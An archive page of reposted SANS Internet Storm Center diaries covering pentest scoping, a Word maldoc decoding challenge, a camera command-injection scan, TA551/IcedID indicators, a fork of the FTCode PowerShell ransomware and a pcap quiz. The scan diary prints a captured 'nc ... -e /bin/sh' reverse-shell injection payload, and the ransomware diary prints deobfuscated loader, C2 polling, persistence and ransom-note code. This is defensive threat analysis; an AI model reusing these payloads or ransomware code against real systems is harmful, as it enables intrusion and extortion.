Archive for SANS

Scoping web application and web service penetration tests, (Mon, Aug 10th)

Before starting any penetration test, the most important part is to correctly scope it – this will ensure that both the client’s expectations are fulfilled and that enough time is allocated to make sure that the penetration test is correctly performed.

In this diary I will not dive into particular activities that need to be performed as part of a penetration test – for a high-level (hey, it’s management speak) overview please check one of my older diaries at Getting (proper) value out of security assessments

This diary should (I hope) be interesting no matter on which side you are: a client purchasing penetration tests or a penetration tester.

Web applications

Now that we got differences between a vulnerability scan and a penetration test out of our way, let’s talk a bit about penetration testing web applications (and web services). Since the main difference between a vulnerability scan and a penetration test is the human factor, penetration test engagements should normally be scoped according to complexity of the target application. This will directly influence amount of time that needs to be invested into properly verifying a web application.

When I’m scoping web application penetration tests, the following two questions are most important for me:

  1. The total number of pages/screens, as well as the percent (or number) of the total number of web forms (pages) which require user interaction.
    This is probably the most important parameter – when penetration testing a web application what we are interested in are all dynamic parts, generally those that result in an HTTP request, which will allow us to change something.
    This makes sense – if our web server is hosting 10 million images and static HTML web pages there is not much we can do (we’ll still check infrastructure etc).
    However, if our web application consists of hundreds of dynamic web pages/screens then in theory we should check all of them. And remember, we are talking about a penetration test – while we will (and should) use tools, a lot of activity will be inevitably manual, since there is no other way to find logic flaws – tools will not find such vulnerabilities, which are often the most devastating ones.
  2. Number and type of user roles.
    Depending on our application, there could be multiple user roles with various permissions assigned. Again, if possible, every role should be tested – we need to confirm that the application correctly implements “horizontal” security (meaning: I cannot retrieve another user’s data) and “vertical” security (meaning: I cannot escalate my privileges or access something that a higher privileged role should only access).

Both of these factors will directly influence how many hours or man-days we need to spend when penetration testing a web application (or any application really). Of course, we need some realistic expectations set here as well – when we need to assess a huge application, typically we will want to enumerate endpoints since it is quite possible that numerous web pages/screens consume a single endpoint. If that is not the case we will need to identify those components which are priority.

If you are on a client’s side – this should help you assess offers as well: if you receive an offer that does not have enough time budgeted then really you are not getting a penetration test but at best a web application security scan with a little bit of manual work.

This might be OK too – as long as you know what you are getting – but keep in mind that no tool will identify logic flaws. If you want to see a few cool logic flaws check my [email protected] Talk “Arcane web and mobile application vulnerabilities” that was recorded at

Another good thing to check here is what tools are being used to perform such a penetration test. Besides a web application vulnerability scanner, in order to manually modify requests an interception proxy will be needed so it is mandatory for your penetration tester to use a tool such as Burp Suite or OWASP ZAP (and we cover both in SEC542!).

Below you can see me bashing the SANS ISC web site (/me waves to Johannes).

Web services

Testing web services is actually not too different from testing web applications, but the main challenge is in the workflow of how the target web services are consumed.

With web services there will typically be one account that is used (although it’s possible to have different roles, of course), so the main parameter for assessment of required engagement will be the number of endpoints, specifically methods and (if possible) number of parameters per method.

Once we receive this information it will be easier to assess how many hours or man-days need to be invested in testing the target web services. So how do we approach this? 

In the best scenario, the client will provide us with a Swagger file or Postman collection. These files will contain description of all endpoints and parameters they accept so testing will be easier. Besides this, always (and I mean always) ask for documentation about the web service workflows. What do I mean by this: it could be possible that certain endpoints must be consumed in a certain order – if you do not do this, you simply get back errors. Which also means that if you just blindly run a scanner against the list of API’s you really won’t get much (and this is why we are talking about penetration tests here).

Once you have this information the rest is basically very similar to a web application penetration test. What the majority of penetration testers will do is run Postman (which is also a free tool) and configure it to send requests through an interception proxy (Burp Suite or OWASP ZAP as mentioned above). Postman will then be used to “seed” the requests so our interception proxy can see them and we can use the interception proxy now to continue testing the target web service.

The figure below shows Postman configured with the PSD2 collection that contains all requests needed to consume PSD2 web services (if you are in the banking sector you are certainly familiar with PSD2, if not and you want to read more here is a starter).

Notice how all parameters are nicely defined in Postman – all that is needed now is to properly fill them in, send the required requests to our intercepting proxy and we are good to go.

We talk about all of this in SEC542: Web App Penetration Testing and Ethical Hacking and if you found the topic interesting let us know here.


(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Small Challenge: A Simple Word Maldoc – Part 2, (Sun, Aug 9th)

There are many interesting solutions to my “Small Challenge: A Simple Word Maldoc” diary entry: static analysis solutions, dynamic analysis and even a combination of both. You can find them in the comments and on Twitter.

When you look at the code above, I’m sure you will notice the long string of numbers (separated by % characters) and think: this must be the encoded command/url.

Sequences of numbers like these have appeared in malicious documents for many, many years. That’s why I have my own tool to help me with decoding these numbers: is a tool that takes text as input, and searches for lines with 3 numbers at least (default). For each such line, it will extract all the numbers, convert them to characters, and output the result. Like this:

The output above doesn’t help us much. numbers-to-string converted each number to its corresponding ASCII character, but it looks like the numbers have also been encoded, because we see many unprintable characters.

If you look at the VBA source code, you might notice an expression with Xor 111. This is a strong indication that the numbers have been xor-encoded, using single-byte key 111.

This can be easily tested with numbers-to-string: my tool also takes a Python expression as argument, to be applied for each number. Python expression “n ^ 111” will perform an Xor operation with value 111 on each number, before converting it to characters.

This does indeed reveal the command:

In an upcoming diary entry, I will show how you can also try to decode the obfuscated command, if you don’t use the VBA source code to guide you (hint: it involves my tool xorsearch).


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Scanning Activity Include Netcat Listener, (Sat, Aug 8th)

This activity started on the 5 July 2020 and has been active to this day only scanning against TCP port 81. The GET command is always the same except for the Netcat listener IP which has changed a few times since it started. If you have a webserver or a honeypot listening on TCP 81, this activity might be contained in your logs. I have included the URL to the IPDetails reported to ISC that shows similar activity from the same source IP address listed in this diary.

This activity appears to be related to the Wireless IP Camera (P2P) WIFICAM against 1250 camera models where a command injection in the set_ftp.cgi script via shell metacharacters in the pwd variable is possible and demonstrated in great details here. If you have one of these camera, the original author “[…] advise to IMMEDIATELY DISCONNECT cameras to the Internet.”1

An example of the GET request:

20200705-124822: data ‘GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 1245 -e /bin/sh) HTTP/1.1nn’

Summary of Netcat Listener

Total           Command
86     nc 1245 -e /bin/sh
85     nc 1245 -e /bin/sh
59     nc 1245 -e /bin/sh
29     nc 1245 -e /bin/sh
14     nc 1245 -e /bin/sh
13     nc 1245 -e /bin/sh
 5     nc 1245 -e /bin/sh
 4     nc 1245 -e /bin/sh
 2     nc 1245 -e /bin/sh
 2     nc 1245 -e /bin/sh

Scanning Activity by Source

Total    Source IP


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

TA551 (Shathak) Word docs push IcedID (Bokbot), (Fri, Aug 7th)


I’ve been tracking malicious Word documents from the TA551 (Shathak) campaign  This year, we’ve seen a lot of Valak malware from TA551, but in recent weeks this campaign has been pushing IcedID malware tp English-speaking targets.

Shown above: Flow chart for this campaign in recent weeks.

Today’s diary reviews an infected I generated in my lab using a Word document from this campaign on Thursday 2020-08-06.

Infection Activity

See the images below for a walk-through on the infection I generated in my lab.

Shown above:  Screenshot a Word document from the TA551 (Shathak) campaign on Thursday 2020-08-06.

Shown above:  TCP stream of HTTP traffic to retrieve the installer DLL after enabling macros on the Word document.

Shown above:  The installer DLL was saved as C:Users[username]AppDataLocalTempmain.theme and run using regsvr32.exe /s [filename].

NOTE: In some cases, the installer DLL will be saved as C:ProgramData1.tmp with a copy of certutil.exe sitting in the same directory saved as C:ProgramData1.exe.

Shown above:  Traffic from my lab infection filtered in Wireshark.

Shown above:  EXE for IcedID created by the installer DLL.

Shown above:  The IcedID EXE persistent on my infected lab host.

Shown above:  Another PNG image with encoded data related to the infection after the EXE is run.

Indicators of Compromise (IoCs)

The following are 26 Word documents from the TA551 (Shathak) campaign on Thursday 2020-08-06 (read: SHA256 hash  file name):

  • 74e802b554527a8d3bc212eb0b107a63197daa1987a6f8cdd1c9c8ddae269c86   adjure-08.06.2020.doc
  • b23322f71771729668c866c9e3772eddb428c3c5d68bfba9433da3fe63f0c286   adjure_08.20.doc
  • df144083cb485322e601c9b188c676b989e003f279fa9328b79ec713489968aa   adjure_08.20.doc
  • c6bc5f8db1173945fca0b270656b059c69559a939480561296776938be03730c   charge,08.20.doc
  • 0c57c1af0d46a31bb43a4881026c6f392ac53faac9780f6924dff91aed07d28d   command.08.20.doc
  • 65ae12426a34a5802ca0c627aa4749206e2a75b57d9f938c69112af9be55be1a   command_08.06.2020.doc
  • 48576d904ca6a41f7be143e6aa30a01e9577dde2f744ebe2a43579c05550cc4e   decree 08.06.2020.doc
  • 6e92b206fb95f1e58e078571fe46c8d36632bf9f265af2cea59c8f1c5e4fab7f   decree,08.20.doc
  • 9ea63df909a4947f18ae4e5d35cfea604905a275167de3d5418bc4917a27e281   dictate.08.20.doc
  • 6c371a63e61f8ee4e379d862bb96403eb10864463a517d6c6c423cb3ea296ce8   documents,08.06.2020.doc
  • 0642b8b82c8b1949da4dc684b6f75a180e942673ac9428383a39c3a9ef10e1ca   enjoin-08.06.20.doc
  • dfd2333edc0622b49a01367a1fa60a85d64456e6f53350010a11d2f175e90b0b   enjoin.08.06.2020.doc
  • f6d12ccf893cb4c51b3c049bb07c7e51f3c0f73f55379310459bdd89c5421edf   figures_08.20.doc
  • e64f5c95f57e265b882d1f3d8b17455ffac350ff7c4ee22bb9187a7e10ec66b4   file,08.20.doc
  • addd6c62f38bd5b004abed3cf7edfece4d002ca56a35539f2657754be291bbea   files.08.06.2020.doc
  • affd7dd7f9bd8ec763c8646123f414bd25e68352d742a5bd3904ffa42580cf9f   instruct-08.20.doc
  • b453fe2b22df0a3447c9f1e64d5e2c9d2c0ef6e1d6e47aaaca3b611e868c00d3   instrument indenture-08.06.2020.doc
  • 6d8dd12ffb7ee93a6cd9f1051e17a1087d66f070cc534454fb04d9d8c33bb90c   intelligence,08.06.2020.doc
  • 3fe92d49ce855b4f02a99ba5c4a89edd2255603a4e0b5d9f3cc8767dd0809066   legal agreement 08.20.doc
  • 6badbba16b4cad10bfbb2cc245f4d63c7781aa9678417df84078273a12d3eaa1   legal paper.08.06.20.doc
  • c187247c655ab22dc5e67fe174af4fca1e14cff224dc5b60beff948a8a297dd2   official paper_08.06.2020.doc
  • 24368bddac344e5579e583cf86053d53894542c18f67a718400f62ff56d5a674   report 08.20.doc
  • acd6793d8210f51004f617765bdd882544d389c5191f35470c7f2a2aa6e3a337   require,08.20.doc
  • a3ba4baa49060dd73324c9d6f63a67f23a13b466fae33f85ad7493d58c5f8e6a   rule,08.06.2020.doc
  • e48c527a596751834d830a7c663f8e6e14e7b9d8ee9edbc41d344f4bf1ecbd9c   specifics,08.20.doc
  • a611374f8b55cee7c3a6cf6f05bf074c66cbc234e6f4f07f18762eace713cf88   statistics_08.20.doc

We saw at least 12 domains hosting the installer DLL for IcedID on Thursday 2020-08-06:

  • ed9fb4[.]com
  • ch4ck0j[.]com
  • dywb3va[.]com
  • j9b8q8[.]com
  • osog5n[.]com
  • oyomc2z[.]com
  • pncq6h[.]com
  • pt48tir[.]com
  • scgi76[.]com
  • sv51gh[.]com
  • vebk1x[.]com
  • xk625lf[.]com

There were 18 possible HTTP GET requests for the installer DLL on Thursday 2020-08-06:

  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?
  • GET /pupi/gyru.php?

The following are four SHA256 hashes for the installer DLL for IcedID seen on Thursday 2020-08-06:

  • 66471bb23ffb948309e48e5316f37da19938dcca7e0f1687e1ca5882fe16865f
  • 83d98c2bf9d4d544aa67e0610c7e6b6a4829e201b5878e30b7d11729f90c358e
  • ab74fb431a13b818341dce88c95cde771d096b5e5c93ccba33249e264ebfe9c4
  • b947929a2eb373ca547896b5bb3932140a51fdf68a093ac78407e19b9659b5aa

We saw two locations for the installer DLL on an infected Windows host:

  • C:ProgramData1.tmp
  • C:Users[username]AppDataLocalTempmain.theme

The following are malware/artifacts for the IcedID portion of the infection on Thursday 2020-08-06:

  • SHA256 hash: 9855f48a5449f3d156ade176ba56e57094f654f5ea974cbdf90a4ab79dd6125e
  • File size: 366,407 bytes
  • File location: C:Users[username]AppDataLocalTemp~1282690640.tmp
  • File type: PNG image data, 494 x 396, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data used by IcedID installer DLL to create IcedID EXE

SHA256 hash: 379eba5d8122133d69c864cc01dd3a7be50c976be5616372dd065c2c52c08b5f

  • File size: 361,984 bytes
  • File location: C:Users[username]AppDataLocalTemp~1282795140.exe
  • File description: IcedID EXE created by the IcedID installer DLL

SHA256 hash: ba2ca8258dd95cecc853ae56ff339d70f5af851f4bdef53ff8bf9998817f68da

  • File size: 673,413 bytes
  • File location: C:Users[username]AppDataLocal[username][username]Ifdouxac.png
  • File type: PNG image data, 736 x 591, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data created when IcedID EXE was first run

SHA256 hash: f1bb1db729644b0135c8ad3e124a8d1b79755b027cda3b12c8200b31a6720069

  • File size: 361,984 bytes
  • File location: C:Users[username]AppDataRoamingqehaap[username]laaposkc32.exe
  • File description: IcedID EXE persistent on the infected Windows host

HTTPS traffic caused by the installer DLL for IcedID:

  • port 443 –   (not inherently malicious)
  • port 443 –   (not inherently malicious)
  • port 443 –   (not inherently malicious)
  • port 443 –   (not inherently malicious)
  • 128.199.198[.]227 port 443 – northkorisla[.]co

HTTPS traffic caused by the IcedID EXE:

  • 94.100.18[.]58 port 443 – qazyaquanauti[.]co
  • 94.100.18[.]58 port 443 – leaderfreeder[.]co
  • 94.100.18[.]58 port 443 – juveperdhue[.]top

Final words

All of the associated malware and artifacts (the two PNG files are not malicious on their own) have been submitted to the MalwareBazaar database and can be retrieved there.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

A Fork of the FTCode Powershell Ransomware, (Thu, Aug 6th)

Yesterday, I found a new malicious Powershell script that deserved to be analyzed due to the way it was dropped on the victim’s computer. As usual, the malware was delivered through a malicious Word document with a VBA macro. A first observation reveals that it’s a file less macro. The malicious Base64 code  is stored in multiples environment variables that are concatenated then executed through an IEX command:

Set osi = CreateObject("")
Set wev = osi.Environment("Process")

Up to 274 chunks of similar data are created and concatenated to generate the Base64 payload:

wev("XXX274") = "VGV4dElucHV0ICRlbmNyeXB0OwpoZWkgJERlY3J5cHRlZERhdGE="
XXX = "$env:XXX0+$env:XXX1+$env:XXX2+$env:XXX3+$env:XXX4+$env:XXX5+$env:XXX6+$env:XXX7+$env:XXX8+$env:XXX9+$env:XXX10+
osi.Run "powershell -noexit -c " & Chr(34) & "IeX ([System.Text.Encoding]::Unicode.GetString([system.Convert]::FromBase64String(" & XXX & ")));" & Chr(34), 1, True

Once the Base64 extracted and decoded, we have the first payload:

$encrypt = 

function hei($encrypt){
  $sipped = [system.Convert]::FromBase64String($encrypt);
  $unsipped = gdba($sipped);
  $sclipt = [System.Text.Encoding]::Unicode.GetString($unsipped);

Function Set-SecretKey {
  #Get key length.
  $Length = $Key.Length;  
  #Pad length.
  $Pad = 32-$Length;   
  #If the length is less than 16 or more than 32.
  If(($Length -lt 16) -or ($Length -gt 32))
    #Throw exception.
    Throw "String must be between 16 and 32 characters";
  #Create a new ASCII encoding object.
  $Encoding = New-Object System.Text.ASCIIEncoding;
  #Get byte array.
  $Bytes = $Encoding.GetBytes($Key + "0" * $Pad)
  #Return byte array.
  Return $Bytes;
Function Get-EncryptedData {
  #Decrypt the text input with the secret key.
  $Result = $TextInput | ConvertTo-SecureString -Key $Key | ForEach-Object {
  #Return the decrypted data.
  Return $Result;
$Key = Set-SecretKey -Key "YRTWHTRJUUYUYRKB";
$DecryptedData = Get-EncryptedData -Key $Key -TextInput $encrypt;
hei $DecryptedData

The second payload is decrypted and, again, passed to Invoke-Expression (“IEX”). We have another Base64-encoded data.  Let’s go deeper and decode it to discover now some VBS code. The obfuscation technique used is simple but effective:

xatu = ""
gfjbx = 0
Sub tghyu
ivhze -370
ivhze -371
ivhze -363
ivhze -381
ivhze -368
ivhze -450
ivhze -446
ivhze -385
ivhze -423

End Sub
Function ivhze (suas)
  xatu = xatu + ( vazey( suas + vxiwh  ) )
End Function
Function vazey (suas)
  vazey = Replace(ejtva, "aiyh,", "vizta") + ( Chr(suas) ) + ""
End Function
  ejtva = ""
  vxiwh = 482
  CreateObject("WScript.Shell").Run xatu, gfjbx

You can spot the trick: the next payload is decoded, via ivhze(), one character at a time and apped to the ‘xatu’ variable and finally executed. Here is the deobfuscated code:

powershell -WindowStyle Hidden -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 
lZXAgLXMgMjgwOwogICRmYWJ4d3h1YyA9IHNlbmRwb3N0MjsKfTsKcmkgLVBhdGggJGJ5YWh5anNpYiAtRm9yY2U7Cg==' ) );iex $a;

Yes, again, a Powershell script with more Base64-encoded data! Here is the decoded script:

$azajuzdd = $env:PUBLIC + "Libraries"
if (-not (Test-Path $azajuzdd)) { md $azajuzdd; }
$dzajtajai = $azajuzdd + "WindowsIndexingService.vbs";
$yffuagzit  = "1014.2";
$byahyjsib = $env:temp + "AFX50058.tmp";
$tuybuauxfs  = $azajuzdd + "thumbcache_64.db";
$myurlpost = $false;
$fabxwxuc = "w";

function iamwork2{ sc -Path $byahyjsib -Value $(Get-Date); };
function cyxjudg( $tuyysubsy ){
  if( $tuyysubsy -match 'OutOfMemoryException' ){
    ri -Path $byahyjsib -Force;
    get-process powershell* | stop-process;

function sendpost2( $tuyysubsy ){
  if( !$myurlpost ){ return $false; };
  $sfyzgbw = New-Object System.Net.WebClient;
  $sfyzgbw.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  $sfyzgbw.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  $sfyzgbw.Encoding = [System.Text.Encoding]::UTF8;
    $wabhxji = $sfyzgbw.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yffuagzit&guid=$twbxvtbztv&" + $tuyysubsy ) ) ) );
    $wabhxji = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $wabhxji ) );
    if( !$fabxwxuc ){ return $false; }
    if( $ffsgeiudxc -eq $wabhxji.Substring(0,16) ){
      return $wabhxji.Substring(16,$wabhxji.length-16) ;
      $fabxwxuc = $false;
      sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $wabhxji ) ) );
    cyxjudg $_.Exception.Message;
    $fabxwxuc = $false;
    $sfyzgbw.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yffuagzit&guid=$twbxvtbztv&error=sendpost2:" + $myurlpost+":"+$wabhxji +":"+ $_.Exception.Message ) ) ) );
  return $false;

function wfaxvzd( $idtutvas ){
  $hzveitdjuj = "hxxp://cdn[.]danielrmurray[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $hzveitdjuj += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $hzveitdjuj.split(",") | %{
    if( !$myurlpost ){
      $myurlpost = $_;
      if( !(sendpost2 ($idtutvas + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
      Start-Sleep -s 5;
  if( $idtutvas -match "status=register" ){
    return "ok";
    return $myurlpost;

if ( Test-Path $byahyjsib ){
  if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $byahyjsib ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
    ri -Path $byahyjsib -Force;
    try{ get-process powershell* | stop-process }catch{};
  }else{ exit; };

function bbazxazu( $uhzghaygf ){
  if( $uhzghaygf ){
    sc -Path $tuybuauxfs -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16)  -join ',' ) -Force;  
    gi $tuybuauxfs -Force |  %{ $_.Attributes = "Hidden" };
      $xbgeechhvd = [Environment]::GetFolderPath('Startup') + 'WindowsApplicationService.lnk';
      if( -not ( Test-Path $xbgeechhvd ) ){
        $awugjdzsz = New-Object -ComObject ('WScript.Shell');
        $fzxwzjvv = $awugjdzsz.CreateShortcut( $xbgeechhvd  );
        $fzxwzjvv.TargetPath = $dzajtajai;
        $fzxwzjvv.WorkingDirectory = $azajuzdd;
        $fzxwzjvv.WindowStyle = 1;
        $fzxwzjvv.Description = 'Windows Application Service';
    $twbxvtbztv, $ffsgeiudxc = (get-content $tuybuauxfs).split(',');
    $gdigfeyf = "status=register&ssid=$ffsgeiudxc&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
    if( Test-Path ( $azajuzdd + "thumbcache_33.db" ) ){
      ri -Path ( $azajuzdd + "thumbcache_33.db" ), ( $azajuzdd + "WindowsIndexingService.js" ) -Force;
      try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
      try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
      if( Test-Path ( [Environment]::GetFolderPath('Startup') + 'WindowsIndexingService.lnk' )  ){
        ri -Path ( [Environment]::GetFolderPath('Startup') + 'WindowsIndexingService.lnk' ) -Force;
    $wccgavfse = wfaxvzd $gdigfeyf;
    if( $wccgavfse -ne "ok"){
      ri -Path $tuybuauxfs -Force;
  return (get-content $tuybuauxfs).split(',');
$ijhtvxyi = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR $dzajtajai); 
if ( Test-Path $tuybuauxfs ){
  $twbxvtbztv, $ffsgeiudxc =  bbazxazu $false;
  if( $ffsgeiudxc.length -ne 16  ){ $twbxvtbztv, $ffsgeiudxc =  bbazxazu $true; }
  $twbxvtbztv, $ffsgeiudxc =  bbazxazu $true;
$myurlpost = wfaxvzd;
while( $fabxwxuc ){
    if( $fabxwxuc -and ($fabxwxuc.length -gt 30)  ){
      iex $fabxwxuc;
  }catch{ cyxjudg $_.Exception.Message; };
  Start-Sleep -s 280;
  $fabxwxuc = sendpost2;
ri -Path $byahyjsib -Force;

This script is stored in:

$env:PUBLIC + "Libraries";   if (-not (Test-Path $vuzyfjvdhd)) { md $vuzyfjvdhd; }   $tcfshdx = $vuzyfjvdhd + "WindowsIndexingService.vbs

And persistence is added through a scheduled task:

schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR $tcfshdx

After a quick analyzis, the malicious code is a ransomware. I checked deeper and found a lot of code similarities with the FTCODE ransomware[1] that was first spotted in 2013!

Here is the notice found in the Powershell code:

All your files was encrypted!

Yes, You can Decrypt Files Encrypted!!!

Your personal ID: %guid%

1. Download Tor browser -

2. Install Tor browser

3. Open Tor Browser

4. Open link in TOR browser: http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=%guid%

5. Follow the instructions on this page

***** Warning*****

Do not rename files

Do not try to back your data using third-party software, it may cause permanent data loss(If you do not believe us, and still try to - make copies of all files so that we can help you if third-party software harms them)

As evidence, we can for free back one file

Decoders of other users is not suitable to back your files - encryption key is created on your computer when the program is launched - it is unique.

What is different than the good old FTCODE? The extension of encrypted files is generated dynamically:

$cwteiht = ([string][guid]::NewGuid()).Substring(0,6);
$bcbyfiwf = $_.Name+".$cwteiht";             
  ren -Path $($_.FullName) -NewName $bcbyfiwf -Force; 

Also, the malware author commented out some piece of code (why not just delete the unwanted lines?):


The initial script has still a nice VT score (4/57)![2]. The ransomware in itself is not new but the path used to deliver it was interesting.


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Traffic Analysis Quiz: What's the Malware From This Infection?, (Wed, Aug 5th)


Today’s diary is a traffic analysis quiz where you try to identify the malware based on a pcap of traffic from an infected Windows host.  Download the pcap from this page, which also has the alerts.  Don’t open or review the alerts yet, because they give away the answer.

Meanwhile, I’ll provide the requirements for this quiz and some background on the infection.

Shown above:  Screenshot of the pcap for this quiz opened in Wireshark.


This type of analysis requires Wireshark.  Wireshark is my tool of choice to review packet captures (pcaps) of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That’s why I encourage people to customize Wireshark after installing it.  To help, I’ve written a series of tutorials.  The ones most helpful for this quiz are:

Another requirement: use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains HTTP traffic sending Windows-based malware.  If you’re using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So if you’re new to this type of analysis, beware.  There’s malware involved.

Background on the infection

This infection was caused by a malicious Excel spreadsheet.  It has macros designed to infect a vulnerable Windows host, so I infected one in my lab.  Default settings in recent versions of Microsoft Office would prevent these type of macros from causing an infection.  This is much more effective against older versions of Windows like Windows 7.

Shown above:  Screenshot of the spreadsheet used for this infection.

Enabling macros on this spreadsheet caused my vulnerable host to download a malicious Windows executable (EXE) and save it as C:UsersPublicsvchost32.exe where it was initially run.

Shown above:  The initial location of the malicious EXE on my infected lab host.

After a minute or two, the malware was deleted from C:UsersPublicsvchost32.exe and saved under a randomly-named directory under C:Program Files (x86) using a random file name.  The directory and new file name are different for each infection.  The malware was made persistent through an update to the Windows registry as shown below.

Shown above:  Windows registry update and location of the malware persistent on my infected host.

This method is used by different families of malware.  The chain of events:

  • Victim receives a malicious Microsoft Office document (usually an Excel spreadsheet or Word document)
  • Victim enables macros on a vulnerable Windows host
  • Vulnerable Windows host retrieves a Windows EXE or DLL through web-based traffic
  • EXE or DLL is saved to disc
  • The EXE or DLL infects the vulnerable Windows host and is made persistent

Fortunately, this chain is rarely effective against an up-to-date version of Windows with default security settings.  In this case, Microsoft Office would not run the macro unless I disabled some key security functions.

Shown above:  Warning message I initially saw on my lab host.

Reviewing the pcap

If you’ve set up Wireshark according to the previously-mentioned tutorials, open the pcap and use the basic web filter to find an HTTP request to aromaterapiaclinicabrasil[.]com[.]br on 162.214.51[.]208.

Shown above:  Traffic from the quiz pcap filtered in Wireshark.

This HTTP request ends with .jpg, but it returned an EXE.  Left click on that line and follow the TCP stream, so we can confirm this is, in fact, an EXE.

Shown above:  HTTP request ending with .jpg returns a Windows EXE or DLL.

Is this is an EXE, or is it a DLL?  They both look the same in a TCP stream.  The ASCII characters MZ show as the first two bytes, and This program must be run under Win32 could be used by an EXE, or it could be used by a DLL.  To get more information on the file, we can explort it from the pcap.  A word of caution: this is Windows malware, so you should export this file in a non-Windows environment.

Use the menu path File –> Export Objects –> HTTP and export the file returned from aromaterapiaclinicabrasil[.]com[.]br as shown in the next two images.

Shown above:  Exporting objects from HTTP traffic in the pcap.

Shown above:  Saving the file returned from aromaterapiaclinicabrasil[.]com[.]br.

In a Linux environment, it’s easy to confirm what type of file this is.  Use the file command in a terminal window.  Get the SHA256 hash of the file using the shasum -a 256 command as shown below.  I prefer a Debian or Ubuntu-based Linux environment, but any Linux environment will do.

Shown above:  Using a terminal window to confirm this is an EXE and get the SHA256 hash.

Once you have the SHA256 hash, search for it in VirusTotal or publicly-available online sandboxes like,, and other sites. You can also do a Google search.

Shown above:  Google results when I searched for the SHA256 hash of the EXE.

Keep in mind the Office document is a delivery mechanism.  The actual malware is based on the EXE retrieved after enabling macros.  What is the malware family in this case?  The answer is not as straight-forward as you might think.  Different vendors often have their own names for the same type of malware.  In this case, alerts from the post-infection traffic will reveal what family of malware caused this infection.

Shown above:  Alerts from the infection using Security Onion with Suricata and the EmergingThreats Pro (ETPRO) ruleset.

Final words

If you’re an experienced malware analyst, this quiz might provide a minute or two of interest.  If you’re tempted to immediately know the answer, just review the alerts and find ones for the CnC traffic.  If you’re new to this type of analysis, hopefully this quiz has helped.

Once again, a pcap of the traffic and the associated alerts are located here

A copy of the spreadsheet that caused this traffic can be found here.

A copy of the EXE can be found here.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 354 12345...»